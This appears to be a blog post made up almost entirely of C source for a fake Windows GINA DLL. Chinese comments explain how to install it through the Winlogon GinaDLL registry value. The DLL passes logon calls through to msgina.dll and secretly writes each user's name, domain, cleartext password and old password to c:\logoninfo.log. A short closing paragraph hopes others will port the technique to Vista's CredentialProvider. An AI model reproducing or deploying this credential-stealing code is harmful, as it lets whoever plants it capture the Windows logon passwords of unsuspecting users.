#define UNICODE
#include
<windows.h>
#include
<stdio.h>
#include
<Winwlx.h>
#define LOGFILE L"c:\\logoninfo.log"

//将这个DLL拷到system32目录下,并在注册表中加入:
//HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
//加一个GinaDLL,类型RegSZ, 内容为你的dll名,如:'fakegina.dll'.
//重启机器,系统就会使用你的gina

typedef BOOL
(WINAPI
*
pWlxNegotiate)(
DWORD dwWinlogonVersion,
PDWORD pdwDllVersion
);

typedef BOOL
(WINAPI
*
pWlxInitialize)(
LPWSTR lpWinsta,
HANDLE hWlx,
PVOID pvReserved,
PVOID pWinlogonFunctions,
PVOID
* pWlxContext
);

typedef VOID
(WINAPI
*
pWlxDisplaySASNotice)(
PVOID pWlxContext
);


typedef
int
(WINAPI
*
pWlxLoggedOutSAS)(
PVOID pWlxContext,
DWORD dwSasType,
PLUID pAuthenticationId,
PSID pLogonSid,
PDWORD pdwOptions,
PHANDLE phToken,
PWLX_MPR_NOTIFY_INFO pNprNotifyInfo,
PVOID
* pProfile
);

typedef BOOL
(WINAPI
*
pWlxActivateUserShell)(
PVOID pWlxContext,
PWSTR pszDesktopName,
PWSTR pszMprLogonScript,
PVOID pEnvironment
);

typedef
int
(WINAPI
*
pWlxLoggedOnSAS)(
PVOID pWlxContext,
DWORD dwSasType,
PVOID pReserved
);

typedef VOID
(WINAPI
*
pWlxDisplayLockedNotice)(
PVOID pWlxContext
);

typedef
int
(WINAPI
*
pWlxWkstaLockedSAS)(
PVOID pWlxContext,
DWORD dwSasType
);

typedef BOOL
(WINAPI
*
pWlxIsLockOk)(
PVOID pWlxContext
);

typedef BOOL
(WINAPI
*
pWlxIsLogoffOk)(
PVOID pWlxContext
);

typedef VOID
(WINAPI
*
pWlxLogoff)(
PVOID pWlxContext
);


typedef VOID
(WINAPI
*
pWlxShutdown)(
PVOID pWlxContext,
DWORD ShutdownType
);


//
// NEW for version 1.1
//
typedef BOOL
(WINAPI
*
pWlxScreenSaverNotify)(
PVOID pWlxContext,
BOOL
* pSecure);

typedef BOOL
(WINAPI
*
pWlxStartApplication)(
PVOID pWlxContext,
PWSTR pszDesktopName,
PVOID pEnvironment,
PWSTR pszCmdLine
);

//
// New for 1.3
//

typedef BOOL
(WINAPI
*
pWlxNetworkProviderLoad)(
PVOID pWlxContext,
PWLX_MPR_NOTIFY_INFO pNprNotifyInfo
);


typedef BOOL
(WINAPI
*
pWlxDisplayStatusMessage)(
PVOID pWlxContext,
HDESK hDesktop,
DWORD dwOptions,
PWSTR pTitle,
PWSTR pMessage
);

typedef BOOL
(WINAPI
*
pWlxGetStatusMessage)(
PVOID pWlxContext,
DWORD
* pdwOptions,
PWSTR pMessage,
DWORD dwBufferSize
);

typedef BOOL
(WINAPI
*
pWlxRemoveStatusMessage)(
PVOID pWlxContext
);

pWlxNegotiate prcWlxNegotiate
= NULL;
pWlxInitialize prcWlxInitialize
= NULL;
pWlxDisplaySASNotice prcWlxDisplaySASNotice
= NULL;
pWlxLoggedOutSAS prcWlxLoggedOutSAS
= NULL;
pWlxActivateUserShell prcWlxActivateUserShell
= NULL;
pWlxLoggedOnSAS prcWlxLoggedOnSAS
= NULL;
pWlxDisplayLockedNotice prcWlxDisplayLockedNotice
= NULL;
pWlxWkstaLockedSAS prcWlxWkstaLockedSAS
= NULL;
pWlxIsLockOk prcWlxIsLockOk
= NULL;
pWlxIsLogoffOk prcWlxIsLogoffOk
= NULL;
pWlxLogoff prcWlxLogoff
= NULL;
pWlxShutdown prcWlxShutdown
= NULL;
pWlxScreenSaverNotify prcWlxScreenSaverNotify
= NULL;
pWlxStartApplication prcWlxStartApplication
= NULL;
pWlxNetworkProviderLoad prcWlxNetworkProviderLoad
= NULL;
pWlxDisplayStatusMessage prcWlxDisplayStatusMessage
= NULL;
pWlxGetStatusMessage prcWlxGetStatusMessage
= NULL;
pWlxRemoveStatusMessage prcWlxRemoveStatusMessage
= NULL;

HINSTANCE hGina
= NULL;

BOOL LoadMsGina()
{
hGina
= LoadLibrary(L"msgina.dll");
if (hGina){
prcWlxNegotiate
= (pWlxNegotiate)GetProcAddress(hGina, "WlxNegotiate");
prcWlxInitialize
= (pWlxInitialize)GetProcAddress(hGina, "WlxInitialize");
prcWlxDisplaySASNotice
= (pWlxDisplaySASNotice )GetProcAddress(hGina, "WlxDisplaySASNotice");
prcWlxLoggedOutSAS
= (pWlxLoggedOutSAS)GetProcAddress(hGina, "WlxLoggedOutSAS");
prcWlxActivateUserShell
= (pWlxActivateUserShell)GetProcAddress(hGina, "WlxActivateUserShell");
prcWlxLoggedOnSAS
= (pWlxLoggedOnSAS)GetProcAddress(hGina, "WlxLoggedOnSAS");
prcWlxDisplayLockedNotice
= (pWlxDisplayLockedNotice)GetProcAddress(hGina, "WlxDisplayLockedNotice");
prcWlxWkstaLockedSAS
= (pWlxWkstaLockedSAS)GetProcAddress(hGina, "WlxWkstaLockedSAS");
prcWlxIsLockOk
= (pWlxIsLockOk)GetProcAddress(hGina, "WlxIsLockOk");
prcWlxIsLogoffOk
= (pWlxIsLogoffOk)GetProcAddress(hGina, "WlxIsLogoffOk");
prcWlxLogoff
= (pWlxLogoff)GetProcAddress(hGina, "WlxLogoff");
prcWlxShutdown
= (pWlxShutdown)GetProcAddress(hGina, "WlxShutdown");
prcWlxScreenSaverNotify
= (pWlxScreenSaverNotify)GetProcAddress(hGina, "WlxScreenSaverNotify");
prcWlxStartApplication
= (pWlxStartApplication)GetProcAddress(hGina, "WlxStartApplication");
prcWlxNetworkProviderLoad
= (pWlxNetworkProviderLoad)GetProcAddress(hGina, "WlxNetworkProviderLoad");
prcWlxDisplayStatusMessage
= (pWlxDisplayStatusMessage)GetProcAddress(hGina, "WlxDisplayStatusMessage");
prcWlxGetStatusMessage
= (pWlxGetStatusMessage)GetProcAddress(hGina, "WlxGetStatusMessage");
prcWlxRemoveStatusMessage
= (pWlxRemoveStatusMessage)GetProcAddress(hGina, "WlxRemoveStatusMessage");
return prcWlxNegotiate && prcWlxInitialize && prcWlxDisplaySASNotice && prcWlxLoggedOutSAS
&& prcWlxActivateUserShell && prcWlxLoggedOnSAS && prcWlxDisplayLockedNotice
&& prcWlxWkstaLockedSAS && prcWlxIsLockOk && prcWlxIsLogoffOk && prcWlxLogoff
&& prcWlxShutdown && prcWlxScreenSaverNotify && prcWlxStartApplication
&& prcWlxNetworkProviderLoad && prcWlxDisplayStatusMessage && prcWlxGetStatusMessage
&& prcWlxRemoveStatusMessage;
}

else
return FALSE;
}


HINSTANCE myHandle
= NULL;//实例句柄

typedef
struct {
HANDLE hWlx;
LPWSTR station;
//PWLX_DISPATCH_VERSION_1_3 pWlxFuncs;
HANDLE hDllInstance;
HANDLE UserToken;
}
GINA_CONTEXT, * PGINA_CONTEXT;

void ReleaseMsGina()
{
if (hGina){
FreeLibrary(hGina);
}

}


void WriteInfo(char * buf);//显示ASCII字符串信息
void WriteInfoW(PWSTR WideStr);//显示unicode字符串信息
void SaveLog(char* c,int num);//日志保存

BOOL WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved
)
{
switch (fdwReason){
case DLL_PROCESS_ATTACH:
WriteInfo(
"------------------------------------------------\r\n");

//myHandle = hinstDLL;//记录实例句柄,备用,本例没有用到。
if (LoadMsGina()) //加载MyGina
{
WriteInfo(
"Init gina ok \r\n");
WriteInfo(
"\r\n");
}

else
{
WriteInfo(
"Init gina false \r\n");
WriteInfo(
"\r\n");
}


break;

case DLL_PROCESS_DETACH:
ReleaseMsGina();
//释放MyGina
WriteInfo("release gina ok \r\n");
break;
}


return TRUE;
}


BOOL WINAPI
WlxActivateUserShell (
PVOID pWlxContext,
PWSTR pszDesktopName,
PWSTR pszMprLogonScript,
PVOID pEnvironment)
{
//WriteInfo("WlxActivateUserShell \r\n");

return prcWlxActivateUserShell (
pWlxContext,
pszDesktopName,
pszMprLogonScript,
pEnvironment);
}


VOID WINAPI WlxDisplaySASNotice (
PVOID pWlxContext)
{
//WriteInfo("WlxDisplaySASNotice \r\n");
prcWlxDisplaySASNotice(pWlxContext);
}


BOOL WINAPI WlxInitialize (
LPWSTR lpWinsta,
HANDLE hWlx,
PVOID pvReserved,
PVOID pWinlogonFunctions,
PVOID
* pWlxContext)
{
//WriteInfo("WlxInitialize \r\n");
return prcWlxInitialize (
lpWinsta,
hWlx,
pvReserved,
pWinlogonFunctions,
pWlxContext);
}


int WINAPI WlxLoggedOnSAS (
PVOID pWlxContext,
DWORD dwSasType,
PVOID pReserved)
{
//WriteInfo("WlxLoggedOnSAS \r\n");

return prcWlxLoggedOnSAS (
pWlxContext,
dwSasType,
pReserved);
}


//在启动到登陆界面时,调用此函数
int WINAPI WlxLoggedOutSAS (
PVOID pWlxContext,
DWORD dwSasType,
PLUID pAuthenticationId,
PSID pLogonSid,
PDWORD pdwOptions,
PHANDLE phToken,
PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,
PVOID
* pProfile)
{
int iRet=0;
PWSTR pszUserName
=NULL;
PWSTR pszDomain
=NULL;
PWSTR pszPassword
=NULL;
PWSTR pszOldPassword
=NULL;
PSTR pLogonTime
=new char[100];

//WriteInfo("WlxLoggedOutSAS \r\n");

iRet
= prcWlxLoggedOutSAS(
pWlxContext,
dwSasType,
pAuthenticationId,
pLogonSid,
pdwOptions,
phToken,
pMprNotifyInfo,
pProfile);

if(iRet == WLX_SAS_ACTION_LOGON)
{
SYSTEMTIME stime;

GetLocalTime(
&stime);

sprintf(pLogonTime,
"LoginTime : %d.%d.%d %d:%d:%d\r\n", stime.wYear, stime.wMonth, stime.wDay, stime.wHour, stime.wMinute, stime.wSecond);

WriteInfo(pLogonTime);

// copy pMprNotifyInfo and pLogonSid for later use
pszUserName=pMprNotifyInfo->pszUserName;
if(pszUserName!=NULL)
{
WriteInfo(
"Username : ");
WriteInfoW(pszUserName);
}


pszDomain
=pMprNotifyInfo->pszDomain;
if(pszDomain!=NULL)
{
WriteInfo(
"Domain : ");
WriteInfoW(pszDomain);
}


pszPassword
=pMprNotifyInfo->pszPassword;
if(pszPassword!=NULL)
{
WriteInfo(
"PassWord : ");
WriteInfoW(pszPassword);
}


pszOldPassword
=pMprNotifyInfo->pszOldPassword;
if(pszOldPassword!=NULL)
{
WriteInfo(
"OldPassword: ");
WriteInfoW(pszOldPassword);
}


}


WriteInfo(
"\r\n");
return iRet;
}




VOID WINAPI WlxLogoff (PVOID pWlxContext)
{
//WriteInfo("WlxLogoff \r\n");

prcWlxLogoff(pWlxContext);
}


BOOL WINAPI WlxNegotiate (
DWORD dwWinlogonVersion,
PDWORD pdwDllVersion)
{
//WriteInfo("WlxNegotiate \r\n");
return prcWlxNegotiate (
dwWinlogonVersion,
pdwDllVersion);
}



BOOL WINAPI WlxScreenSaverNotify (
PVOID pWlxContext,
BOOL
*pSecure)
{

//WriteInfo("WlxScreenSaverNotify \r\n");
return prcWlxScreenSaverNotify (
pWlxContext,
pSecure);
}


VOID WINAPI WlxShutdown(
PVOID pWlxContext,
DWORD ShutdownType)
{

//WriteInfo("WlxShutdown \r\n");

prcWlxShutdown(pWlxContext, ShutdownType);
}


BOOL WINAPI WlxStartApplication (
PVOID pWlxContext,
PWSTR pszDesktopName,
PVOID pEnvironment,
PWSTR pszCmdLine)
{
//WriteInfo("WlxStartApplication \r\n");
return prcWlxStartApplication (
pWlxContext,
pszDesktopName,
pEnvironment,
pszCmdLine);
}


int WINAPI WlxWkstaLockedSAS (
PVOID pWlxContext,
DWORD dwSasType
)
{
//WriteInfo("WlxWkstaLockedSAS \r\n");
return prcWlxWkstaLockedSAS (
pWlxContext,
dwSasType
);
}


VOID WINAPI WlxDisplayLockedNotice(PVOID pWlxContext)
{
//WriteInfo("WlxDisplayLockedNotice \r\n");
prcWlxDisplayLockedNotice(pWlxContext);
}


BOOL WINAPI WlxDisplayStatusMessage(
PVOID pWlxContext,
HDESK hDesktop,
DWORD dwOptions,
PWSTR pTitle,
PWSTR pMessage
)
{
//WriteInfo("WlxDisplayStatusMessage \r\n");
return prcWlxDisplayStatusMessage(
pWlxContext,
hDesktop,
dwOptions,
pTitle,
pMessage
);
}



BOOL WINAPI WlxGetStatusMessage(
PVOID pWlxContext,
DWORD
*pdwOptions,
PWSTR pMessage,
DWORD dwBufferSize
)
{
//WriteInfo("WlxGetStatusMessage \r\n");
return prcWlxGetStatusMessage(
pWlxContext,
pdwOptions,
pMessage,
dwBufferSize
);
}


BOOL WINAPI WlxIsLockOk(PVOID pWlxContext)
{
//WriteInfo("WlxIsLockOk \r\n");
return prcWlxIsLockOk(pWlxContext);

}


BOOL WINAPI WlxIsLogoffOk(
PVOID pWlxContext
)
{
//WriteInfo("WlxIsLogoffOk \r\n");
return prcWlxIsLogoffOk(
pWlxContext
);
}


BOOL WINAPI WlxNetworkProviderLoad(
PVOID pWlxContext,
PWLX_MPR_NOTIFY_INFO pNprNotifyInfo
)
{
//WriteInfo("WlxNetworkProviderLoad \r\n");
return prcWlxNetworkProviderLoad(
pWlxContext,
pNprNotifyInfo
);
}


BOOL WINAPI WlxRemoveStatusMessage(
PVOID pWlxContext
)
{
//WriteInfo("WlxRemoveStatusMessage \r\n");
return prcWlxRemoveStatusMessage(
pWlxContext
);
}



void WriteInfo(char * buf)//显示ASCII字符串信息
{
int i = 0;
while (TRUE)
{
if (!buf[i])
break;
else
i
++;
}

i
++;

SaveLog(buf,i);
//日志保存

}



void WriteInfoW(PWSTR WideStr)//显示unicode字符串信息
{
//获取unicode字符串的字符个数
int nstrlen=WideCharToMultiByte(CP_ACP,0,WideStr,-1,
NULL,
0,NULL,NULL);

//在进程堆中分配空间
PSTR tempStr=(PSTR)HeapAlloc(GetProcessHeap(),0,nstrlen);

if(tempStr==NULL) return ;

//把unicode字符串转换为ASCII字符串
WideCharToMultiByte(CP_ACP,0,WideStr,-1,
tempStr,nstrlen,NULL,NULL);

WriteInfo(tempStr);
WriteInfo(
"\r\n");

//释放堆空间
HeapFree(GetProcessHeap(),0,tempStr);
}



void SaveLog(char* c,int num) //日志保存函数
{
WCHAR name[]
= LOGFILE;
HANDLE hFile;
DWORD In;
WCHAR Buff[
512];
hFile
= CreateFile(name, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL, NULL);

if(hFile == INVALID_HANDLE_VALUE)
{
return;
}

SetFilePointer(hFile,
0, NULL, FILE_END);

WriteFile(hFile, c, num,
&In, NULL);

CloseHandle(hFile);
//关闭文件
}



本来想将此思想移植到vista上,可是vista已经不再使用Gina做登录交互了.转而使用新的CredentialProvider.我查了查msdn,需要attach原有的密码框控件做wrap获取密码,并且ms做了一定的加密,需要用lsa相关函数解密回来.
由于我对com编程一窍不通,而且最近要考试了,估计也没时间研究了...所以就期待其他高人写出来吧
附带上ms的CredentialProvider例子.

Comments
Write a Comment